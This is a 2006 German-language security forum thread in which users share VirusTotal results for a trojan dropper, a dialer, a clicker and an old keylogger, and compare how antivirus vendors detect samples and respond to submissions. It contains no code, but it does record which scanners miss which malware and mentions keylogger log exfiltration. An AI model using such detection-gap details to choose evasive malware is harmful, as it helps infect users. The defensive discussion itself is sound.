STATUS: FINISHEDComplete scanning result of "Multidropper_.com", received in VirusTotal at 05.11.2006, 08:31:24 (CET). Antivirus Version Update Result AntiVir 6.34.1.27 05.10.2006 TR/Drop.MultiJoiner.13.J.5 Avast 4.6.695.0 05.10.2006 Win32:Trojan-gen. {VC} AVG 386 05.10.2006 Dropper.Generic.EFW BitDefender 7.2 05.11.2006 no virus found CAT-QuickHeal 8.00 05.11.2006 no virus found ClamAV devel-20060426 05.11.2006 Trojan.Dropper.Small-51 DrWeb 4.33 05.10.2006 Trojan.MulDrop.3684 eTrust-InoculateIT 23.72.5 05.11.2006 Win32/MultiDropper.OK!Trojan eTrust-Vet 12.4.2205 05.11.2006 Win32/Multidropper.AG Ewido 3.5 05.10.2006 Dropper.MultiJoiner.13.j Fortinet 2.76.0.0 05.11.2006 W32/MultiJoiner.J!tr F-Prot 3.16c 05.11.2006 destructive program named W32/Trojan.BEN Ikarus 0.2.65.0 05.10.2006 Trojan-Dropper.Win32.MultiJoiner.13.J Kaspersky 4.0.2.24 05.11.2006 Trojan-Dropper.Win32.MultiJoiner.13.j McAfee 4759 05.10.2006 MultiDropper-NB Microsoft 1.1372 05.11.2006 no virus found NOD32v2 1.1530 05.10.2006 Win32/TrojanDropper.Agent.AGE Norman 5.90.17 05.10.2006 W32/Multijoiner.C Panda 9.0.0.4 05.10.2006 Bck/Gerzidan.A Sophos 4.05.0 05.11.2006 Troj/Mdrop-UO Symantec 8.0 05.11.2006 no virus found TheHacker 5.9.7.141 05.10.2006 Trojan/Dropper.MultiJoiner.13.j UNA 1.83 05.10.2006 TrojanDropper.Win32.MultiJoiner.13 VBA32 3.11.0 05.10.2006 Trojan-Dropper.Win32.MultiJoiner.13.j bitdefedner bekam nebst absendung nochmals, über den feedback ne anfrage ob da eh nachgeschaut wird einmal - bald ist eh nur bit der einzige der davon nix weis...sofort rückantwort das sie sich ums sample kümmern.... rav hats auch bekommen (ich hoff es betrifft i.d. fall Microsoft), quick auch....und beid er gelgenenheit verteil ich noc ein paar exoten an "nichtsfinder" wie ad aware oder ikarus! ![]() ...dann geh ich in die kuschi kuschi dekce! ![]() rock ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#84
|
Gäste ![]() |
hmm...hab den Multidropper mal gestartet. es droppen drei programme. dc.exe, int.exe, und vgt.exe.
die ersten beiden dateien int.exe und dc.ecewerden von mc afee als backoor coc gemeldet...die vgt.exe ist ein DIALER! und schau her...den erkennt kaum jemand! ist das stark! STATUS: FINISHEDComplete scanning result of "vgt.exe", received in VirusTotal at 05.11.2006, 09:30:43 (CET). Antivirus Version Update Result AntiVir 6.34.1.27 05.11.2006 DIAL/302327 Avast 4.6.695.0 05.10.2006 Win32:Trojan-gen. {UPX!} AVG 386 05.10.2006 Dialer.BDK BitDefender 7.2 05.11.2006 Trojan.Dialer.OE CAT-QuickHeal 8.00 05.11.2006 no virus found ClamAV devel-20060426 05.11.2006 Dialer-602 DrWeb 4.33 05.11.2006 no virus found eTrust-InoculateIT 23.72.5 05.11.2006 no virus found eTrust-Vet 12.4.2205 05.11.2006 no virus found Ewido 3.5 05.10.2006 Trojan.Dialer.oe Fortinet 2.76.0.0 05.11.2006 W32/Dialer.OE!tr F-Prot 3.16c 05.11.2006 no virus found Ikarus 0.2.65.0 05.10.2006 no virus found Kaspersky 4.0.2.24 05.11.2006 Trojan.Win32.Dialer.oe McAfee 4759 05.10.2006 no virus found Microsoft 1.1372 05.11.2006 no virus found NOD32v2 1.1531 05.11.2006 no virus found Norman 5.90.17 05.10.2006 W32/Dialer.ITR Panda 9.0.0.4 05.10.2006 Suspicious file Sophos 4.05.0 05.11.2006 no virus found Symantec 8.0 05.11.2006 no virus found TheHacker 5.9.7.141 05.10.2006 no virus found UNA 1.83 05.10.2006 Trojan.Win32.Dialer VBA32 3.11.0 05.10.2006 Trojan.Win32.Dialer.oe also bei mc afee würd ich alt auschauen wenn ich was falsch mach...den dialer lässt er mir in der packung drinnen....wenn ich den ersten alarm ignoriere...weil ich ja denke es ist bloß der dropper.... lustiges spiel! ![]() ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#85
|
Gäste ![]() |
aber stefan...bitdefender findet wenigstens eine der drei schadhaften dropps ....
BitDefender 7.2 05.11.2006 Trojan.Dialer.OE is ja schon mal was... ![]() ![]() Der Beitrag wurde von rock bearbeitet: 11.05.2006, 08:49 |
|
|
![]()
Beitrag
#86
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Ist jetzt nur die Frage, ob es sich bei der nichtvorhandenen Reaktion auf den Dropper um einen Einzelfall handelt, oder nicht.
Letzteres würde dann ja fast schon das schlechte Abschneiden beim letzten Test von AV-Comparatives erklären. ![]() Der Beitrag wurde von Stefan bearbeitet: 11.05.2006, 08:56 -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#87
|
Gäste ![]() |
ich möcht ja auf das hinauf garnicht wissen...wievielen scanner es so geht...
der unterschied bei dem einen dropper ist ja schon schlimm genug... aber in dem fall würde ich dir mac afee und bitdefender empfehlen. mc afee erkennt den dropper und 2 der backdoor exen...und bit die was mc nicht kannte aus dem ordner! ![]() wird so eine sch* im labor wo mans hinschickt nicht wirklich korrekt gecheckt. was soll das eigentlich die primäre hauptdatei zu deklarieren, aber die malware die es droppt...die kemma nimmer...SUPER! ![]() ![]() |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#88
|
Gäste ![]() |
sophos ist ganz ein schlauer...meldet mir zurück was er ohnehin schon kannte...ausführen und droppen lassen tuns den wohl in england a net!
naja...egal... bitdefender schreibt wenigtens schon mal: vielen Dank für Ihre Nachricht. Wir haben die Datei an unser Virenlabor weitergeleitet. mal sehen.... so, für mich erledigt...alle looser haben es nochmal bekommen...ob sie es entpacken und ausführen und somit die anderen backdoors und dialer drinnen finden oder nicht...ist ihr kafee...eventuell wollens scheinbar garnicht... wenns eh "uns" gibt die es schäufchenweise bringen.... ![]() ![]() |
|
|
![]()
Beitrag
#89
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
Hallo =)
mein Erfahrungsbericht dazu. -Datei um 10.45Uhr aufgetaucht -Bisschen getestet und festgestellt das bei Aktivierung drei Trojaner nachgeladen werden (Trojan.Dropper.Agent.AAY, Trojan.QHosts.P und Trojan.AVKill.J) und alle drei von BitDefender erkannt werden -Datei um 12.03Uhr eingesandt (support@bitdefender.de) -Um 13.52Uhr von BitDefender ne Antwort bekommen: QUOTE ...vielen Dank für Ihre Nachricht und die Einsendung der Datei. Die Datei ist tatsächlich ein Virus und wird innerhalb der nächsten zwei Stunden als "Trojan.Dropper.Multijoiner.J" durch ein Update bekannt gemacht.... Wie es zum unterschiedlichen Umgang in der Reaktion und Reaktionszeit gekommen ist, k.A. Kann jeder selbst darüber spekulieren, aber wichtig ist für mich im Endeffekt nur das sich der Support schnell und korrekt bei mir gemeldet hat. @Stefan, vielleicht klappts ja bei dir beim nächsten mal auch besser =) -------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
![]()
Beitrag
#90
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(Kyu @ 11.05.2006, 16:02) Wie es zum unterschiedlichen Umgang in der Reaktion und Reaktionszeit gekommen ist, k.A. Kann jeder selbst darüber spekulieren, aber wichtig ist für mich im Endeffekt nur das sich der Support schnell und korrekt bei mir gemeldet hat. Vielleicht sollte ich die Dateien in Zukunft auch wieder an support... und nicht an virussubmit... schicken.[...] @Stefan, vielleicht klappts ja bei dir beim nächsten mal auch besser =) [right][snapback]148423[/snapback][/right] Aber wer weiß, vielleicht stehe ich ja bei denen auf 'ner Art schwarzen Liste. Von wegen, zu viele Einsendungen und so. Obwohl ich mir in Zukunft wohl eher schenken werde, denen noch Samples zukommen zu lassen. Denn mein F-Secure erkennt die Schädlinge ja dank der guten Arbeit bei Kaspersky Labs meistens frühzeitig. In diesem Fall hier, wären es dann so ca. knapp 2 Monate eher. ![]() Bitdefender läuft halt noch auf einem von mir betreuten Rechner und da ich die jährliche Lizenz spendiere, werde ich mich dann wohl, nach deren Ablauf, für ein anderes Produkt entscheiden. ![]() Der Beitrag wurde von Stefan bearbeitet: 11.05.2006, 15:57 -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#91
|
Gäste ![]() |
morgen..
![]() hab mir in der früh noch die mühe gemacht...den herstellern (einigen) zu schreiben...ob sie den Multidropper net ein bissl ankjlicken möchten...was dann passiert....ob da nix droppt oder so... na da meldet sich doch gleich mal vet, inoculate, sophos, der ungarische hersteller...virusbuster...usw... Troj/Dialer-DL Win32/SilentCaller.S dropper BAT/AVKiller.X trojan so...jetzt mag i nimmer....die anderen belassen es wohl nur beim dropper.... ![]() bitdefender antwort fehlt leider noch.... Der Beitrag wurde von rock bearbeitet: 11.05.2006, 16:06 |
|
|
![]()
Beitrag
#92
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 11.05.2006, 17:04) bitdefender antwort fehlt leider noch.... Du bist bestimmt mit mir auf der Schwarzen Liste. [right][snapback]148444[/snapback][/right] ![]() -------------------- Gruß
Stefan |
|
|
![]()
Beitrag
#93
|
|
Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 4.246 Mitglied seit: 12.06.2004 Mitglieds-Nr.: 984 Betriebssystem: Windows 10 ![]() |
Also ich finde es schade wie Bitdefender hier verweilt. Entweder wissen die nicht mehr wo ihnen der Kopf steht, bzw. gibt es evtl. Personal Probleme, aber auf schon vogekautes Futter zu verzichten finde ich dessen nicht würdig. Bin trotzdem noch ein alter Bitdefender Fan, aber die wenn sie so weiter verfahren, gehen den falschen Weg.
![]() |
|
|
![]()
Beitrag
#94
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Anscheinend hat der Bitdefender-Support sein Wort gehalten:
STATUS: FINISHEDComplete scanning result of "Bild-Dieter__JPG.com", received in VirusTotal at 05.11.2006, 22:25:54 (CET). Antivirus Version Update Result AntiVir 6.34.1.27 05.11.2006 TR/Drop.MultiJoiner.13.J.5 Avast 4.6.695.0 05.11.2006 Win32:Trojan-gen. {VC} AVG 386 05.11.2006 Dropper.Generic.EFW BitDefender 7.2 05.11.2006 Trojan.Dropper.Multijoiner.J CAT-QuickHeal 8.00 05.11.2006 no virus found ClamAV devel-20060426 05.11.2006 Trojan.Dropper.Small-51 DrWeb 4.33 05.11.2006 Trojan.MulDrop.3684 eTrust-InoculateIT 23.72.5 05.11.2006 Win32/MultiDropper.OK!Trojan eTrust-Vet 12.4.2205 05.11.2006 Win32/Multidropper.AG Ewido 3.5 05.11.2006 Dropper.MultiJoiner.13.j Fortinet 2.76.0.0 05.11.2006 W32/MultiJoiner.J!tr F-Prot 3.16c 05.11.2006 destructive program named W32/Trojan.BEN Ikarus 0.2.65.0 05.11.2006 Trojan-Dropper.Win32.MultiJoiner.13.J Kaspersky 4.0.2.24 05.11.2006 Trojan-Dropper.Win32.MultiJoiner.13.j McAfee 4760 05.11.2006 MultiDropper-NB Microsoft 1.1372 05.11.2006 no virus found NOD32v2 1.1531 05.11.2006 Win32/TrojanDropper.Agent.AGE Norman 5.90.17 05.11.2006 W32/Multijoiner.C Panda 9.0.0.4 05.11.2006 Bck/Gerzidan.A Sophos 4.05.0 05.11.2006 Troj/Mdrop-UO Symantec 8.0 05.11.2006 no virus found TheHacker 5.9.7.141 05.10.2006 Trojan/Dropper.MultiJoiner.13.j UNA 1.83 05.11.2006 TrojanDropper.Win32.MultiJoiner.13 VBA32 3.11.0 05.11.2006 Trojan-Dropper.Win32.MultiJoiner.13.j Mir ist gerade aufgefallen, dass man sich im Hause "eTrust" nicht mal auf eine gleiche Bezeichnung für die zwei verschiedenen Engines einigen konnte. ![]() -------------------- Gruß
Stefan |
|
|
![]()
Beitrag
#95
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
awa schwarze liste... die av-hersteller leben doch davon das sie möglichst früh, möglichst viele samples in die finger bekommen. keine ahnung was da wo, wieso schief gelaufen is, aber das is auf jeden fall für die eher dumm gelaufen als für dich.
is auch egal, die sache is ja nu erledigt... aber eine info hängt damit vielleicht zusammen: durch die expansion war ja der support merklich überlastet. auf dem linuxtag kam das thema im gespräch auch auf. bitdefender hat anscheinend nun neuerdings aber wieder genug leute eingestellt um die frühere reaktionszeit gewährleisten zu können. ich persönlich kann mir vorstellen das es am ehesten damit zu tun hat (würde die rasche reaktion heute mittag erklären). wie auch immer, nach dem spiel ist vor dem spiel... in diesem sinne: wir lesen uns beim nächsten sample =) -------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#96
|
Gäste ![]() |
edit. stimmt....da habens zwei namen in beiden engines...
aber... denn jetzt ist auch der letzte inhalt indentifiziert: With regards to the file "vgt.exe" submitted by you on 11 May 17:36:55 (Australian Eastern Standard Time), we have added detection for Win32/Qdial.7gs!Trojan to the signature files for the InoculateIT engine. eTrust! war der einzige der sich an alle samples korrekt geantwortet hat! AUCH was sich dann droppt natürlich! Bitdefender hab ich gestern NOCHMAL angeschrieben/angeschickt...dürfe sich aber schon erledigt haben! ![]() fehlt nur noch CAT....(was immer das für'n scanner ist) ![]() Der Beitrag wurde von rock bearbeitet: 12.05.2006, 07:35 |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#97
|
Gäste ![]() |
ähmm..stefan...will dir ja nicht ganz die laune an bitdefender nehmen...aber den alten clicker will man bis heute nicht so recht akzeptieren...
STATUS: FINISHEDComplete scanning result of "Trojan_Clicker.exe", received in VirusTotal at 05.12.2006, 12:17:33 (CET). Antivirus Version Update Result AntiVir 6.34.1.27 05.12.2006 ADSPY/AdvertMen.A.5 Avast 4.6.695.0 05.11.2006 Win32:Trojano-CE AVG 386 05.11.2006 Clicker.CAH BitDefender 7.2 05.12.2006 no virus found CAT-QuickHeal 8.00 05.11.2006 no virus found ClamAV devel-20060426 05.11.2006 no virus found DrWeb 4.33 05.12.2006 Adware.Advert eTrust-InoculateIT 23.72.6 05.12.2006 no virus found eTrust-Vet 12.4.2207 05.12.2006 no virus found Ewido 3.5 05.12.2006 Hijacker.Agent.hi Fortinet 2.76.0.0 05.12.2006 Adware/AdvertMen!04 F-Prot 3.16c 05.11.2006 no virus found Ikarus 0.2.65.0 05.11.2006 no virus found Kaspersky 4.0.2.24 05.12.2006 not-a-virus:AdWare.Win32.AdvertMen.a McAfee 4760 05.11.2006 no virus found Microsoft 1.1372 05.12.2006 no virus found NOD32v2 1.1533 05.12.2006 no virus found Norman 5.90.17 05.11.2006 W32/Advertmen.D Panda 9.0.0.4 05.11.2006 no virus found Sophos 4.05.0 05.12.2006 no virus found Symantec 8.0 05.12.2006 no virus found TheHacker 5.9.7.142 05.12.2006 no virus found UNA 1.83 05.11.2006 TrojanClicker.Win32.Agent VBA32 3.11.0 05.11.2006 Trojan-Clicker.Win32.Agent.hi ![]() |
|
|
![]()
Beitrag
#98
|
|
Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 4.246 Mitglied seit: 12.06.2004 Mitglieds-Nr.: 984 Betriebssystem: Windows 10 ![]() |
|
|
|
![]()
Beitrag
#99
|
|
![]() Gehört zum Inventar ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 2.694 Mitglied seit: 15.04.2003 Wohnort: Hamburg Mitglieds-Nr.: 13 Betriebssystem: win2k, XP, Vista Virenscanner: keinen Firewall: keine ![]() |
Ich habe aus Fun mal ein paar "alte" RATs getested ( release 2004 ), die fallen offenbar wieder raus. Mal ein Beispiel:
QUOTE Description: Keylogger installiert, server.exe überprüfen lassen. LogIT is an extremely "lite" standalone offline keylogger program. It has the ability to send the log files after they reach a certain size limit .. QUOTE AntiVir 6.34.1.27 12.05.2006 TR/Spy.Small.BA.2 Avast 4.6.695.0 12.05.2006 Win32:Keylog-011 AVG 386 12.05.2006 PSW.Small.U BitDefender 7.2 12.05.2006 Trojan.Spy.Small.BA CAT-QuickHeal 8.00 12.05.2006 TrojanSpy.Small.ba ClamAV devel-20060426 12.05.2006 Trojan.Small-95 DrWeb 4.33 12.05.2006 Trojan.Logit.10 eTrust-InoculateIT 23.72.6 12.05.2006 no ha encontrado virus eTrust-Vet 12.4.2207 12.05.2006 Win32/Logit.10.A Ewido 3.5 12.05.2006 Logger.Small.ba Fortinet 2.76.0.0 12.05.2006 W32/Keylog.W!tr F-Prot 3.16c 11.05.2006 security risk named W32/Logit.A@spy Ikarus 0.2.65.0 12.05.2006 no ha encontrado virus Kaspersky 4.0.2.24 12.05.2006 Trojan-Spy.Win32.Small.ba McAfee 4761 12.05.2006 Keylog-Logit Microsoft 1.1372 12.05.2006 TrojanSpy:Win32/Small.BA NOD32v2 1.1534 12.05.2006 Win32/Spy.Small.BA Norman 5.90.17 12.05.2006 W32/KeyLogger.DU Panda 9.0.0.4 12.05.2006 Trj/Small.HD Sophos 4.05.0 12.05.2006 Troj/Keylog-W Symantec 8.0 12.05.2006 Infostealer TheHacker 5.9.7.142 12.05.2006 Trojan/Spy.Small.ba UNA 1.83 11.05.2006 no ha encontrado virus VBA32 3.11.0 12.05.2006 Trojan-Spy.Win32.Small.ba Sicherheit zu 100% gibt es nicht. ![]() ![]() -------------------- ![]() Lust auf Telefonsex? Unbeschwert nur hier. Es ist besser für das, was man ist, gehasst, als für das, was man nicht ist, geliebt zu werden. (Kettcar) |
|
|
![]()
Beitrag
#100
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(rock @ 12.05.2006, 12:24) ähmm..stefan...will dir ja nicht ganz die laune an bitdefender nehmen...aber den alten clicker will man bis heute nicht so recht akzeptieren... Warum sollte mir das die Laune vermiesen?[right][snapback]148755[/snapback][/right] F-Secure bezieht seine Signaturen u.a. von denen hier: Kaspersky 4.0.2.24 05.12.2006 not-a-virus:AdWare.Win32.AdvertMen.a ![]() Und wie bereits gesagt, läuft Bitdefender auf dem betreuten Rechner nur noch ein halbes Jahr. Dann ist Schluss mit Lustig. Obwohl ich mir nicht sicher bin, ob in diesem Fall eine 9.5er Windows-Version von Bitdefender den nicht doch vielleicht erkennt. Der Beitrag wurde von Stefan bearbeitet: 13.05.2006, 08:05 -------------------- Gruß
Stefan |
|
|
![]() ![]() |
Vereinfachte Darstellung | Aktuelles Datum: 28.07.2025, 09:09 |